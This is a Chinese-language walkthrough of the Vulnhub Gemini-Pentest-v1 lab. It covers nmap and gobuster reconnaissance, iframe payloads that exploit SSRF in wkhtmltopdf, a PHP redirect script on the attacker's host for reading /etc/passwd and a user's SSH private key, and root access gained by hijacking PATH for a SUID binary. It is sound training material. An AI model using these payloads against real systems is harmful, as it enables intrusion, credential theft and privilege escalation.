Vulnhub-Gemini-Pentest-v1
-
主机发现:
sudo nmap -sn 192.168.210.0/24
129为kali IP,所以128应为靶机IP。
-
端口扫描:
TCP端口扫描:
sudo nmap -sT --min-rate 10000 -p- 192.168.210.128
UDP端口扫描:
sudo nmap -sU --top-ports 1000 192.168.210.128
详细端口扫描:
sudo nmap -sT -sV -sC -O -p22,80 192.168.210.128 -oA nmapScan/detail
默认漏洞扫描:
sudo nmap --script=vuln -p22,80 192.168.210.128 -oA nmapScan/vuln
-
web渗透过程
nmap详细端口扫描结果中,80端口存在两个目录:/test2 , /manual
浏览器访问:
以上信息说明此程序为:这是一个内部web应用程序,旨在让员工查看他们的个人资料详细信息,并允许他们将自己的详细信息导出为PDF格式。
Apache HTTP Server默认文件。
目录扫描:
sudo gobuster dir -u http://192.168.210.128 /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
sudo gobuster dir -u http://192.168.210.128/test2 /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
回到test2页面,我们可以发现这是一个开源程序,并且给出了github链接:
https://github.com/ionutvmi/master-login-system
]通过源码获得默认密码:
尝试登录,登录成功。
PS:不知道为啥,kali的火狐很卡。
功能点不多,登录退出,修改个人信息,导出文件等功能。
漏洞1: 存储型XSS
导出pdf后,查看PDF具体信息:
得知使用pdf编辑器wkhtmltopdf进行pdf的转换
通过网上查找:
发现存在文件包含,SSRF漏洞。
wkhtmltopdf 文件包含漏洞 - 美德安全 (virtuesecurity.com)
使用如下payload去进行本地文件读取:
<iframe src="file:///etc/passwd" height="500" width="500">
,利用失败。使用如下payload:
<iframe src="http://fwtv48vs.dnslog.pw" height="500" width="500">
,确定存在SSRF漏洞。参考以下文章实现从SSRF到本地文件读取。
SSRF 到本地文件读取 - 哈桑汗安全研究员 (hassankhanyusufzai.com)
在kali中创建如下文件:
<?php header('location:file://'.$_REQUEST['url']); ?>
然后使用
php -S 192.168.210.129:80
启动web服务。然后使用如下payload:
<iframe height="2000" width="800" src=http://192.168.210.129/exp.php?url=/etc/passwd></iframe>
导出pdf,成功读取到passwd文件:
可以看到root和gemini1用户。
尝试读取shadow文件失败,读取root和gemini1下的bash_history失败,最后尝试读取/home/gemini1下的私钥文件。
payload:
<iframe height="2000" width="800" src=http://192.168.210.129/exp.php?url=/home/gemini1/.ssh/id_rsa></iframe>
将私钥文件保存为id_rsa文件。
chmod 400 id_rsa
ssh -i id_rsa gemini1@192.168.210.128
查看内核版本,IP信息:
查看计划任务:
crontab -l
发现该目录下并没有该脚本,并且不能编辑该目录下文件,pass:
查找具有SUID权限的程序:
find / -perm -u=s -type f 2>/dev/null
使用gtfobins查询可知,这些命令都不能使用SUID提权:
https://gtfobins.github.io/#+suid
其中listinfo不是系统默认命令,运行以下:
发现打印了网卡信息,22,80端口监听情况,以前当选系统时间。
查看listinfo文本内容:
strings /usr/bin/listinfo
可以看到实际是执行了这几条命令:
其中date命令没有写绝对路径,我们可以使用Linux环境变量提权,使用listinfo命令去执行我们编译的恶意date脚本,从而达到提权的目的。可以参考以下文章:linux环境下利用环境变量实现本地提权 - FreeBuf网络安全行业门户
在date.c文件中插入以下内容:
#include<unistd.h> void main() { setuid(0); setgid(0); system("ps"); //前面那两个的作用也就是以root权限去运行ps命令 }
gcc date.c -o date
编译该文件。export PATH=/home/gemini1:$PATH
将当前目录添加到环境变量中:
接下来执行listinfo命令:
OK,提权成功。
-
切换到root目录下获取flag: